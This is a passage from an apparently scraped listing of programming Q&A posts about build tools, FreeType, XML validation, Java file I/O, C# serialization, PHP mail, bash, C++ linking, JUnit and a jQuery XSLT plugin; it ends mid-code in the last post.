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  • Setting up gcov in Xcode 3.1

    - by Algorithmic
    I'm trying to setup my Xcode project to be instrumented with gcov so I can determine the code coverage of my unit tests. All of the documentation I find online talks about settings that I don't find in Xcode 3.1, though. An example: To work with Coverstory, first you need to set up your target to work with gcov. This requires turning on "Instrument Program Flow", "Generate Test Coverage Files" and linking with the gcov library. (Using Coverstory) The closest thing I can find to "Instrument Program Flow" and "Generate Test Coverage Files" in my build settings is "Generate Profiling Code", which doesn't appear to do what I want it to do. Am I looking in the wrong place for these settings or are all of the examples I'm finding online stale?

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  • Freetype2 failing under WoW64

    - by Necrolis
    I built a tff to D3D texture function using freetype2(2.3.9) to generate grayscale maps from the fonts. it works great under native win32, however, on WoW64 it just explodes (well, FT_Done and FT_Load_Glyph do). from some debugging, it seems to be a problem with HeapFree as called by free from FT_Free. I know it should work, as games like WCIII, which to the best of my knowledge use freetype2, run fine, this is my code, stripped of the D3D code(which causes no problems on its own): FT_Face pFace = NULL; FT_Error nError = 0; FT_Byte* pFont = static_cast<FT_Byte*>(ARCHIVE_LoadFile(pBuffer,&nSize)); if((nError = FT_New_Memory_Face(pLibrary,pFont,nSize,0,&pFace)) == 0) { FT_Set_Char_Size(pFace,nSize << 6,nSize << 6,96,96); for(unsigned char c = 0; c < 95; c++) { if(!FT_Load_Glyph(pFace,FT_Get_Char_Index(pFace,c + 32),FT_LOAD_RENDER)) { FT_Glyph pGlyph; if(!FT_Get_Glyph(pFace->glyph,&pGlyph)) { LOG("GET: %c",c + 32); FT_Glyph_To_Bitmap(&pGlyph,FT_RENDER_MODE_NORMAL,0,1); FT_BitmapGlyph pGlyphMap = reinterpret_cast<FT_BitmapGlyph>(pGlyph); FT_Bitmap* pBitmap = &pGlyphMap->bitmap; const size_t nWidth = pBitmap->width; const size_t nHeight = pBitmap->rows; //add to texture atlas } } } } else { FT_Done_Face(pFace); delete pFont; return FALSE; } FT_Done_Face(pFace); delete pFont; return TRUE; } ARCHIVE_LoadFile returns blocks allocated with new. As a secondary question, I would like to render a font using pixel sizes, I came across FT_Set_Pixel_Sizes, but I'm unsure as to whether this stretches the font to fit the size, or bounds it to a size. what I would like to do is render all the glyphs at say 24px (MS Word size here), then turn it into a signed distance field in a 32px area. Update After much fiddling, I got a test app to work, which leads me to think the problems are arising from threading, as my code is running in a secondary thread. I have compiled freetype into a static lib using the multithread DLL, my app uses the multithreaded libs. gonna see if i can set up a multithreaded test. Also updated to 2.4.4, to see if the problem was a known but fixed bug, didn't help however. Update 2 After some more fiddling, it turns out I wasn't using the correct lib for 2.4.4 -.- after fixing that, the test app works 100%, but the main app still crashes when FT_Done_Face is called, still seems to be a crash in the memory heap management of windows. is it possible that there is a bug in freetype2 that makes it blow up under user threads?

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  • noob question : reading xml from url link by using php

    - by mireille raad
    Hello, I am trying to build an authentication plugin that uses php/xml. My application can communicate to another application by sending this : http://tst.example.net/remote/validate_user.jhtml?ticket=$ticket_value in return i get a formatted xml document. i want to be able to parse that document. I googled and read a bit around here , but what i could find is that using php_simplexml i can do the following $xml = simplexml_load_file("test.xml"); echo $xml-getName() . ""; foreach($xml-children() as $child) { echo $child-getName() . ": " . $child . ""; } my question is : i don't have a test.xml file, it is a url that i am reading/parsing, any way how to get the info from the url, not a file. I know this is a very noobish question, i would appreciate the help

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  • Java textfile I/O problem

    - by KáGé
    Hello, I have to make a torpedo game for school with a toplist for it. I want to store it in a folder structure near the JAR: /Torpedo/local/toplist/top_i.dat, where the i is the place of that score. The files will be created at the first start of the program with this call: File f; f = new File(Toplist.toplistPath+"/top_1.dat"); if(!f.exists()){ Toplist.makeToplist(); } Here is the toplist class: package main; import java.awt.Color; import java.io.BufferedReader; import java.io.File; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.FileWriter; import java.io.IOException; import java.io.PrintWriter; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.prefs.Preferences; import javax.swing.JFrame; import javax.swing.JOptionPane; import javax.swing.JTextArea; public class Toplist { static String toplistPath = "./Torpedo/local/toplist"; //I know it won't work this easily, it's only to get you the idea public static JFrame toplistWindow = new JFrame("Torpedó - [TOPLISTA]"); public static JTextArea toplist = new JTextArea(""); static StringBuffer toplistData = new StringBuffer(3000); public Toplist() { toplistWindow.setSize(500, 400); toplistWindow.setLocationRelativeTo(null); toplistWindow.setResizable(false); getToplist(); toplist.setSize(400, 400); toplist.setLocation(0, 100); toplist.setColumns(5); toplist.setText(toplistData.toString()); toplist.setEditable(false); toplist.setBackground(Color.WHITE); toplistWindow.setLayout(null); toplistWindow.setVisible(true); } public Toplist(Player winner) { //this is to be done yet, this will set the toplist at first and then display it toplistWindow.setLayout(null); toplistWindow.setVisible(true); } /** * Creates a new toplist */ public static void makeToplist(){ new File(toplistPath).mkdir(); for(int i = 1; i <= 10; i++){ File f = new File(toplistPath+"/top_"+i+".dat"); try { f.createNewFile(); } catch (IOException e) { JOptionPane.showMessageDialog(new JFrame(), "Fájl hiba: toplista létrehozása", "Error", JOptionPane.ERROR_MESSAGE); } } } /** * If the score is a top score it inserts it into the list * * @param score - the score to be checked */ public static void setToplist(int score, Player winner){ BufferedReader input = null; PrintWriter output = null; int topscore; for(int i = 1; i <= 10; i++){ try { input = new BufferedReader(new FileReader(toplistPath+"/top_"+i+",dat")); String s; topscore = Integer.parseInt(input.readLine()); if(score > topscore){ for(int j = 9; j >= i; j--){ input = new BufferedReader(new FileReader(toplistPath+"/top_"+j+".dat")); output = new PrintWriter(new FileWriter(toplistPath+"/top_"+(j+1)+".dat")); while ((s = input.readLine()) != null) { output.println(s); } } output = new PrintWriter(new FileWriter(toplistPath+"/top_"+i+".dat")); output.println(score); output.println(winner.name); if(winner.isLocal){ output.println(Torpedo.session.remote.name); }else{ output.println(Torpedo.session.remote.name); } output.println(Torpedo.session.mapName); output.println(DateUtils.now()); break; } } catch (FileNotFoundException e) { JOptionPane.showMessageDialog(new JFrame(), "Fájl hiba: toplista frissítése", "Error", JOptionPane.ERROR_MESSAGE); } catch (IOException e) { JOptionPane.showMessageDialog(new JFrame(), "Fájl hiba: toplista frissítése", "Error", JOptionPane.ERROR_MESSAGE); } finally { if (input != null) { try { input.close(); } catch (IOException e) { JOptionPane.showMessageDialog(new JFrame(), "Fájl hiba: toplista frissítése", "Error", JOptionPane.ERROR_MESSAGE); } } if (output != null) { output.close(); } } } } /** * This loads the toplist into the buffer */ public static void getToplist(){ BufferedReader input = null; toplistData = null; String s; for(int i = 1; i <= 10; i++){ try { input = new BufferedReader(new FileReader(toplistPath+"/top_"+i+".dat")); while((s = input.readLine()) != null){ toplistData.append(s); toplistData.append('\t'); } toplistData.append('\n'); } catch (FileNotFoundException e) { JOptionPane.showMessageDialog(new JFrame(), "Fájl hiba: toplista betöltése", "Error", JOptionPane.ERROR_MESSAGE); } catch (IOException e) { JOptionPane.showMessageDialog(new JFrame(), "Fájl hiba: toplista betöltése", "Error", JOptionPane.ERROR_MESSAGE); } } } /** * * @author http://www.rgagnon.com/javadetails/java-0106.html * */ public static class DateUtils { public static final String DATE_FORMAT_NOW = "yyyy-MM-dd HH:mm:ss"; public static String now() { Calendar cal = Calendar.getInstance(); SimpleDateFormat sdf = new SimpleDateFormat(DATE_FORMAT_NOW); return sdf.format(cal.getTime()); } } } The problem is, that it can't access any of the files. I've tried adding them to the classpath and at least six different variations of file/path handling I found online but nothing worked. Could anyone tell me what do I do wrong? Thank you.

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  • Why does this XML validation via XSD fail in libxml2 (but succeed in xmllint) and how do I fix it?

    - by mtree
    If I run this XML validation via xmllint: xmllint --noout --schema schema.xsd test.xml I get this success message: .../test.xml validates However if I run the same validation via libxml2's C API: int result = xmlSchemaValidateDoc(...) I get a return value of 1845 and this failure message: Element '{http://example.com/XMLSchema/1.0}foo': No matching global declaration available for the validation root. Which I can make absolutely no sense of. :( schema.xsd: <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xs:schema PUBLIC "-//W3C//DTD XMLSCHEMA 200102//EN" "XMLSchema.dtd" > <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/XMLSchema/1.0" targetNamespace="http://example.com/XMLSchema/1.0" elementFormDefault="qualified" attributeFormDefault="unqualified"> <xs:element name="foo"> </xs:element> </xs:schema> test.xml: <?xml version="1.0" encoding="UTF-8"?> <foo xmlns="http://example.com/XMLSchema/1.0"> </foo> main.c: #include <stdio.h> #include <sys/stat.h> #include <sys/types.h> #include <string.h> #include <libxml/parser.h> #include <libxml/valid.h> #include <libxml/xmlschemas.h> u_int32_t get_file_size(const char *file_name) { struct stat buf; if ( stat(file_name, &buf) != 0 ) return(0); return (unsigned int)buf.st_size; } void handleValidationError(void *ctx, const char *format, ...) { char *errMsg; va_list args; va_start(args, format); vasprintf(&errMsg, format, args); va_end(args); fprintf(stderr, "Validation Error: %s", errMsg); free(errMsg); } int main (int argc, const char * argv[]) { const char *xsdPath = argv[1]; const char *xmlPath = argv[2]; printf("\n"); printf("XSD File: %s\n", xsdPath); printf("XML File: %s\n", xmlPath); int xmlLength = get_file_size(xmlPath); char *xmlSource = (char *)malloc(sizeof(char) * xmlLength); FILE *p = fopen(xmlPath, "r"); char c; unsigned int i = 0; while ((c = fgetc(p)) != EOF) { xmlSource[i++] = c; } printf("\n"); printf("XML Source:\n\n%s\n", xmlSource); fclose(p); printf("\n"); int result = 42; xmlSchemaParserCtxtPtr parserCtxt = NULL; xmlSchemaPtr schema = NULL; xmlSchemaValidCtxtPtr validCtxt = NULL; xmlDocPtr xmlDocumentPointer = xmlParseMemory(xmlSource, xmlLength); parserCtxt = xmlSchemaNewParserCtxt(xsdPath); if (parserCtxt == NULL) { fprintf(stderr, "Could not create XSD schema parsing context.\n"); goto leave; } schema = xmlSchemaParse(parserCtxt); if (schema == NULL) { fprintf(stderr, "Could not parse XSD schema.\n"); goto leave; } validCtxt = xmlSchemaNewValidCtxt(schema); if (!validCtxt) { fprintf(stderr, "Could not create XSD schema validation context.\n"); goto leave; } xmlSetStructuredErrorFunc(NULL, NULL); xmlSetGenericErrorFunc(NULL, handleValidationError); xmlThrDefSetStructuredErrorFunc(NULL, NULL); xmlThrDefSetGenericErrorFunc(NULL, handleValidationError); result = xmlSchemaValidateDoc(validCtxt, xmlDocumentPointer); leave: if (parserCtxt) { xmlSchemaFreeParserCtxt(parserCtxt); } if (schema) { xmlSchemaFree(schema); } if (validCtxt) { xmlSchemaFreeValidCtxt(validCtxt); } printf("\n"); printf("Validation successful: %s (result: %d)\n", (result == 0) ? "YES" : "NO", result); return 0; } console output: XSD File: /Users/dephiniteloop/Desktop/xml_validate/schema.xsd XML File: /Users/dephiniteloop/Desktop/xml_validate/test.gkml XML Source: <?xml version="1.0" encoding="UTF-8"?> <foo xmlns="http://example.com/XMLSchema/1.0"> </foo> Validation Error: Element '{http://example.com/XMLSchema/1.0}foo': No matching global declaration available for the validation root. Validation successful: NO (result: 1845) In case it matters: I'm on OSX 10.6.7 with its default libxml2.dylib (/Developer/SDKs/MacOSX10.6.sdk/usr/lib/libxml2.2.7.3.dylib)

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  • Visual Studio's CSS Intellisense - Absolute paths & MasterPage files

    - by Overflew
    Hi there. I've noticed that to get CSS-Intellisense working in VS, the paths have to be relative - Is this the case? However, it seems <link href="/resources/test.css" [...] /> is far more practical than <link href="resources/test.css" [...] /> I'm including the CSS in the master page, and don't see much good in including it as a content block, just to get the relative paths correct for each directory depth. I've had a quick try with inline code resolving the path, but no dice there either (for Intellisense). I feel I'm missing something fairly simple - What's the correct approach here to have CSS Intellisense work across the pages in the app during dev, and render fine in any deployed state? Cheers. (Note - I'm aware that a <% if (false) { % type hack is required for user controls)

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  • improving conversions to binary and back in C#

    - by Saad Imran.
    I'm trying to write a general purpose socket server for a game I'm working on. I know I could very well use already built servers like SmartFox and Photon, but I wan't to go through the pain of creating one myself for learning purposes. I've come up with a BSON inspired protocol to convert the the basic data types, their arrays, and a special GSObject to binary and arrange them in a way so that it can be put back together into object form on the client end. At the core, the conversion methods utilize the .Net BitConverter class to convert the basic data types to binary. Anyways, the problem is performance, if I loop 50,000 times and convert my GSObject to binary each time it takes about 5500ms (the resulting byte[] is just 192 bytes per conversion). I think think this would be way too slow for an MMO that sends 5-10 position updates per second with a 1000 concurrent users. Yes, I know it's unlikely that a game will have a 1000 users on at the same time, but like I said earlier this is supposed to be a learning process for me, I want to go out of my way and build something that scales well and can handle at least a few thousand users. So yea, if anyone's aware of other conversion techniques or sees where I'm loosing performance I would appreciate the help. GSBitConverter.cs This is the main conversion class, it adds extension methods to main datatypes to convert to the binary format. It uses the BitConverter class to convert the base types. I've shown only the code to convert integer and integer arrays, but the rest of the method are pretty much replicas of those two, they just overload the type. public static class GSBitConverter { public static byte[] ToGSBinary(this short value) { return BitConverter.GetBytes(value); } public static byte[] ToGSBinary(this IEnumerable<short> value) { List<byte> bytes = new List<byte>(); short length = (short)value.Count(); bytes.AddRange(length.ToGSBinary()); for (int i = 0; i < length; i++) bytes.AddRange(value.ElementAt(i).ToGSBinary()); return bytes.ToArray(); } public static byte[] ToGSBinary(this bool value); public static byte[] ToGSBinary(this IEnumerable<bool> value); public static byte[] ToGSBinary(this IEnumerable<byte> value); public static byte[] ToGSBinary(this int value); public static byte[] ToGSBinary(this IEnumerable<int> value); public static byte[] ToGSBinary(this long value); public static byte[] ToGSBinary(this IEnumerable<long> value); public static byte[] ToGSBinary(this float value); public static byte[] ToGSBinary(this IEnumerable<float> value); public static byte[] ToGSBinary(this double value); public static byte[] ToGSBinary(this IEnumerable<double> value); public static byte[] ToGSBinary(this string value); public static byte[] ToGSBinary(this IEnumerable<string> value); public static string GetHexDump(this IEnumerable<byte> value); } Program.cs Here's the the object that I'm converting to binary in a loop. class Program { static void Main(string[] args) { GSObject obj = new GSObject(); obj.AttachShort("smallInt", 15); obj.AttachInt("medInt", 120700); obj.AttachLong("bigInt", 10900800700); obj.AttachDouble("doubleVal", Math.PI); obj.AttachStringArray("muppetNames", new string[] { "Kermit", "Fozzy", "Piggy", "Animal", "Gonzo" }); GSObject apple = new GSObject(); apple.AttachString("name", "Apple"); apple.AttachString("color", "red"); apple.AttachBool("inStock", true); apple.AttachFloat("price", (float)1.5); GSObject lemon = new GSObject(); apple.AttachString("name", "Lemon"); apple.AttachString("color", "yellow"); apple.AttachBool("inStock", false); apple.AttachFloat("price", (float)0.8); GSObject apricoat = new GSObject(); apple.AttachString("name", "Apricoat"); apple.AttachString("color", "orange"); apple.AttachBool("inStock", true); apple.AttachFloat("price", (float)1.9); GSObject kiwi = new GSObject(); apple.AttachString("name", "Kiwi"); apple.AttachString("color", "green"); apple.AttachBool("inStock", true); apple.AttachFloat("price", (float)2.3); GSArray fruits = new GSArray(); fruits.AddGSObject(apple); fruits.AddGSObject(lemon); fruits.AddGSObject(apricoat); fruits.AddGSObject(kiwi); obj.AttachGSArray("fruits", fruits); Stopwatch w1 = Stopwatch.StartNew(); for (int i = 0; i < 50000; i++) { byte[] b = obj.ToGSBinary(); } w1.Stop(); Console.WriteLine(BitConverter.IsLittleEndian ? "Little Endian" : "Big Endian"); Console.WriteLine(w1.ElapsedMilliseconds + "ms"); } Here's the code for some of my other classes that are used in the code above. Most of it is repetitive. GSObject GSArray GSWrappedObject

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  • sending email with PHP (preventing from being placed in spam folder)

    - by Rees
    hello, i am trying to send email using PHP scripts... however, the recipient is receiving it in his/her SPAM folder -this is not the desired result (I would like to have it sent directly to their inbox so that I don't have to warn them to look in their SPAM folder). below is the code I use to send the email using PEAR... what changes can I make to prevent the emails from going into the SPAM folder? $mail = Mail::factory("mail"); $headers["From"] = "[email protected]"; $headers["To"] = "[email protected]"; $headers["Subject"] = "Activation"; $body = "This is a test!"; $mail->send("test[email protected]", $headers, $body); ?

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  • bash : recursive listing of all files problem

    - by Michael Mao
    Run a recursive listing of all the files in /var/log and redirect standard output to a file called lsout.txt in your home directory. Complete this question WITHOUT leaving your home directory. An: ls -R /var/log/ /home/bqiu/lsout.txt I reckon the above bash command is not correct. This is what I've got so far: $ ls -1R .: cal.sh cokemachine.sh dir sort test.sh ./dir: afile.txt file subdir ./dir/subdir: $ ls -R | sed s/^.*://g cal.sh cokemachine.sh dir sort test.sh afile.txt file subdir But this still leaves all directory/sub-directory names (dir and subdir), plus a couple of empty newlines How could I get the correct result without using Perl or awk? Preferably using only basic bash commands(this is just because Perl and awk is out of assessment scope)

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  • Run shell command from child shell

    - by LinuxPenseur
    Hi, I have a Unix shell script test.sh. Within the script i would like to invoke another shell and then execute the rest of the commands in the shell script from the child shell and exit To make it clear: test.sh #! /bin/bash /bin/bash /* create child shell */ <shell-command1> <shell-command2> ...... <shell-commandN> exit 0 What my intention is to run the shell-commands1 to shell-commandN from the child shell. Kindly tell me how to do this

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  • Java: design problem with final-value and empty constructor

    - by HH
    $ javac InitInt.java InitInt.java:7: variable right might not have been initialized InitInt(){} ^ 1 error $ cat InitInt.java import java.util.*; import java.io.*; public class InitInt { private final int right; // Design Problem? // I feel the initialization problem is just due to bad style. InitInt(){} InitInt{ // Still the error, "may not be initialized" // How to initialise it? if(snippetBuilder.length()>(charwisePos+25)){ right=charwisePos+25; }else{ right=snippetBuilder.length()-1; } } public static void main(String[] args) { InitInt test = new InitInt(); System.out.println(test.getRight()); } public int getRight(){return right;} } Partial Solutions and Suggestions use "this" to access methods in the class, instead of creating empty constructor change final to non-final with final field value: initialize all final values in every constructor remove the empty constructor, keep your code simple and clean

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  • Singleton code linker errors in vc 9.0. Runs fine in linux compiled with gcc

    - by user306560
    I have a simple logger that is implemented as a singleton. It works like i want when I compile and run it with g++ in linux but when I compile in Visual Studio 9.0 with vc++ I get the following errors. Is there a way to fix this? I don't mind changing the logger class around, but I would like to avoid changing how it is called. 1>Linking... 1>loggerTest.obj : error LNK2005: "public: static class Logger * __cdecl Logger::getInstance(void)" (?getInstance@Logger@@SAPAV1@XZ) already defined in Logger.obj 1>loggerTest.obj : error LNK2005: "public: void __thiscall Logger::log(class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const &)" (?log@Logger@@QAEXABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z) already defined in Logger.obj 1>loggerTest.obj : error LNK2005: "public: void __thiscall Logger::closeLog(void)" (?closeLog@Logger@@QAEXXZ) already defined in Logger.obj 1>loggerTest.obj : error LNK2005: "private: static class Logger * Logger::_instance" (?_instance@Logger@@0PAV1@A) already defined in Logger.obj 1>Logger.obj : error LNK2001: unresolved external symbol "private: static class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > Logger::_path" (?_path@Logger@@0V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@A) 1>loggerTest.obj : error LNK2001: unresolved external symbol "private: static class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > Logger::_path" (?_path@Logger@@0V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@A) 1>Logger.obj : error LNK2001: unresolved external symbol "private: static class boost::mutex Logger::_mutex" (?_mutex@Logger@@0Vmutex@boost@@A) 1>loggerTest.obj : error LNK2001: unresolved external symbol "private: static class boost::mutex Logger::_mutex" (?_mutex@Logger@@0Vmutex@boost@@A) 1>Logger.obj : error LNK2001: unresolved external symbol "private: static class std::basic_ofstream<char,struct std::char_traits<char> > Logger::_log" (?_log@Logger@@0V?$basic_ofstream@DU?$char_traits@D@std@@@std@@A) 1>loggerTest.obj : error LNK2001: unresolved external symbol "private: static class std::basic_ofstream<char,struct std::char_traits<char> > Logger::_log" (?_log@Logger@@0V?$basic_ofstream@DU?$char_traits@D@std@@@std@@A) The code, three files Logger.h Logger.cpp test.cpp #ifndef __LOGGER_CPP__ #define __LOGGER_CPP__ #include "Logger.h" Logger* Logger::_instance = 0; //string Logger::_path = "log"; //ofstream Logger::_log; //boost::mutex Logger::_mutex; Logger* Logger::getInstance(){ { boost::mutex::scoped_lock lock(_mutex); if(_instance == 0) { _instance = new Logger; _path = "log"; } } //mutex return _instance; } void Logger::log(const std::string& msg){ { boost::mutex::scoped_lock lock(_mutex); if(!_log.is_open()){ _log.open(_path.c_str()); } if(_log.is_open()){ _log << msg.c_str() << std::endl; } } } void Logger::closeLog(){ Logger::_log.close(); } #endif ` ... #ifndef __LOGGER_H__ #define __LOGGER_H__ #include <iostream> #include <string> #include <fstream> #include <boost/thread/mutex.hpp> #include <boost/thread.hpp> using namespace std; class Logger { public: static Logger* getInstance(); void log(const std::string& msg); void closeLog(); protected: Logger(){} private: static Logger* _instance; static string _path; static bool _logOpen; static ofstream _log; static boost::mutex _mutex; //check mutable }; #endif test.cpp ` #include <iostream> #include "Logger.cpp" using namespace std; int main(int argc, char *argv[]) { Logger* log = Logger::getInstance(); log->log("hello world\n"); return 0; }

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  • Single Key Multiple Values Data Structure for one to many mapping

    - by nijhawan.saurabh
    Dictionaries are good, they are great to store Key / Value pairs but what if you want to store multiple values for a single key? Dictionaries would not allow duplicate keys. I came across a nice way to represent such a Data Structure using one of the Extension Method (ToLookup) present in System.Linq Namespace which converts an IEnumerable<T> to an ILookup<TKey, TElement>.   Now, there are two parameters this method expects (The other overload expects 3 parameters): IEnumerable<TSource> - This list would contain the actual data. Func<TSource, TKey> keySelector - The Delegate which which computes the keys   The method returns the following: ILookup<TKey, TElement>   This DS would store Keys and multiple values along those keys.   Let's see a small example:        12  using System;    13     using System.Collections.Generic;    14     using System.Linq;    15     16     /// <summary>    17     /// </summary>    18     internal class Program    19     {    20         #region Methods    21     22         /// <summary>    23         /// </summary>    24         /// <param name="args">    25         /// The args.    26         /// </param>    27         private static void Main(string[] args)    28         {    29             // Create an array of strings.    30             var list = new List<string> { "IceCream1", "Chocolate Moose", "IceCream2" };    31     32             // Generate a lookup Data Structure    33             ILookup<int, string> lookupDs = list.ToLookup(item => item.Length);    34     35           // Enumerate groupings.    36             foreach (var group in lookupDs)    37             {    38                 foreach (string element in group)    39                 {    40                     Console.WriteLine(element);    41                 }    42             }    43         } Normal 0 false false false EN-US X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin-top:0in; mso-para-margin-right:0in; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0in; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;}

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  • Function returns CSV File: How to go about checking it ?

    - by Rachel
    I am doing something like: $outputFile = getCurrentDBSnapshot($data); where $data is the resource stream that am passing in, basically from command prompt am passing an file and am opening it using fopen for writing with 'w+' permissions, now getCurrentDBSnapshot would get the current state of a table and would update the $data csv file, so basically $outputFile would be updated with the current state of database table, now I want to var_dump or print the value of $outputFile to see the data present into it. But when I do $this->fout = fopen($outputFile,'r') or die('Cannot open file'); $test = fgetcsv($outputFile,5000,":"); var_dump($test); It gives me an error saying that it expects parameter 1 to be a string type and am passing resource. My goal to see the contains of $outputFile and so my question is that How can I see the contains present in $outputFile or how can I see what getcurrentDBSnapshot function is returning me ?

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  • c# login Screen Error

    - by Kumu
    The type or namespace name 'Login' could not be found (are you missing a using directive or an assembly reference?) This error displays according to the MainMenu of my system. The following code describes the MainMenu source code of my system. Login login; is the error place which system shows, using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace FootballLeague { public partial class MainMenu : Form { FootballLeagueDatabase footballLeagueDatabase; Game game; Team team; **Login login;** public MainMenu() { InitializeComponent(); changePanel(1); } public MainMenu(FootballLeagueDatabase footballLeagueDatabaseIn) { InitializeComponent(); footballLeagueDatabase = footballLeagueDatabaseIn; } //FootballLeagueDatabase footballLeagueDatabase = new FootballLeagueDatabase(); private void Form_Loaded(object sender, EventArgs e) { } private void gameButton_Click(object sender, EventArgs e) { int option = 0; changePanel(option); } private void scoreboardButton_Click(object sender, EventArgs e) { int option = 1; changePanel(option); } private void changePanel(int optionIn) { gamePanel.Hide(); scoreboardPanel.Hide(); string title = "Football League System"; switch (optionIn) { case 0: gamePanel.Show(); this.Text = title + " - Game Menu"; break; case 1: scoreboardPanel.Show(); this.Text = title + " - Display Menu"; break; } } private void logoutButton_Click(object sender, EventArgs e) { login = new Login(); login.Show(); this.Hide(); } and I have the Form class called Login.cs and the following code displays that class. using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace FootballLeagueSystem { public partial class Login : Form { MainMenu menu; public Login() { InitializeComponent(); } private void administratorLoginButton_Click(object sender, EventArgs e) { string username1 = "08247739"; string password1 = "08247739"; if ((userNameTxt.Text.Length) == 0) MessageBox.Show("Please enter your username!"); else if ((passwordTxt.Text.Length) == 0) MessageBox.Show("Please enter your password!"); else if (userNameTxt.Text.Equals("") || passwordTxt.Text.Equals("")) MessageBox.Show("Invalid Username or Password!"); else { if (this.userNameTxt.Text == username1 && this.passwordTxt.Text == password1) MessageBox.Show("Welcome Administrator!", "Administrator Login"); menu = new MainMenu(); menu.Show(); this.Hide(); } } private void managerLoginButton_Click(object sender, EventArgs e) { { string username2 = "1111"; string password2 = "1111"; if ((userNameTxt.Text.Length) == 0) MessageBox.Show("Please enter your username!"); else if ((passwordTxt.Text.Length) == 0) MessageBox.Show("Please enter your password!"); else if (userNameTxt.Text.Equals("") && passwordTxt.Text.Equals("")) MessageBox.Show("Invalid Username or Password!"); //menu = new MainMenu(); //menu.Hide(); //this.Close(); else { if (this.userNameTxt.Text == username2 && this.passwordTxt.Text == password2) MessageBox.Show("Welcome Manager!", "Manager Login"); menu = new MainMenu(); menu.Show(); //menu.HideTab(); this.Hide(); } } } private void cancelButton_Click(object sender, EventArgs e) { this.Close(); } } } Please can you someone explain me where is the error is?

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  • Disabling Xdebug's dumping of caught exceptions

    - by nuqqsa
    By default Xdebug will dump any exception regardless of whether it is caught or not: try { throw new Exception(); } catch (Exception $e) { } echo 'life goes on'; With XDebug enabled and the default settings this piece of code will actually output something like the following (nicely formatted): ( ! ) Exception: in /test.php on line 3 Call Stack # Time Memory Function Location 1 0.0003 52596 {main}( ) ../test.php:0 life goes on Is it possible to disable this behaviour and have it dumping only the uncaught exceptions? Thanks in advance. UPDATE: I'm about to conclude that this is a bug, since xdebug.show_exception_trace is disabled by default yet it doesn't behave as expected (using Xdebug v2.0.5 with PHP 5.2.10 on Ubuntu 9.10).

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  • JUnit: 4.8.1 "Could not find class"

    - by Patrick
    Ok, I am like other and new to jUnit and having a difficult time trying to get it working. I have searched the forum but the answers provided; I am just not getting. If anyone out there could lend me a hand I would greatly appreciate it. Let me provide the basics: OS: mac OS X.6 export JUNIT_HOME="/Developer/junit/junit4.8.1" export CVSROOT="/opt/cvsroot" export PATH="/usr/local/bin:/usr/local/sbin:/usr/localmysql/bin:/opt/PalmSDK/Current/bin/:/usr/local/mysql/bin:$PATH:$JUNIT_HOME:$CVSROOT" export CLASSPATH="$CLASSPATH:$JUNIT_HOME/junit-4.8.1.jar:$JUNIT_HOME" I can compile a test class from a java file, however when I try to then run the test java org.junit.runner.JUnitCore MyTest.class I get the following: JUnit version 4.8.1 Could not find class: MyTest.class Time: 0.001 OK (0 tests) Now I have been in the directory with the MyTest.class which is just somewhere in my file system, I tried moving the source folder to the "junit" folder and the "junit/junit4.8.1" folder and the same result. I cannot even run the tests that came with junit. Thanks patrick

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  • Component returned failure code: 0x80600011 [nsIXSLTProcessorObsolete.transformDocument]

    - by Sean Ochoa
    So, I'm using the XSLT plugin for JQuery, and here's my code: function AddPlotcardEventHandlers(){ // some code } function reportError(exception){ alert(exception.constructor.name + " Exception: " + ((exception.name) ? exception.name : "[unknown name]") + " - " + exception.message); } function GetPlotcards(){ $("#content").xslt("../xml/plotcards.xml","../xslt/plotcards.xsl", AddPlotcardEventHandlers,reportError); } Here's the modified jquery plugin. I say that its modified because I've added callbacks for success and error handling. /* * jquery.xslt.js * * Copyright (c) 2005-2008 Johann Burkard (<mailto:[email protected]>) * <http://eaio.com> * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN * NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE * USE OR OTHER DEALINGS IN THE SOFTWARE. * */ /** * jQuery client-side XSLT plugins. * * @author <a href="mailto:[email protected]">Johann Burkard</a> * @version $Id: jquery.xslt.js,v 1.10 2008/08/29 21:34:24 Johann Exp $ */ (function($) { $.fn.xslt = function() { return this; } var str = /^\s*</; if (document.recalc) { // IE 5+ $.fn.xslt = function(xml, xslt, onSuccess, onError) { try{ var target = $(this); var change = function() { try{ var c = 'complete'; if (xm.readyState == c && xs.readyState == c) { window.setTimeout(function() { 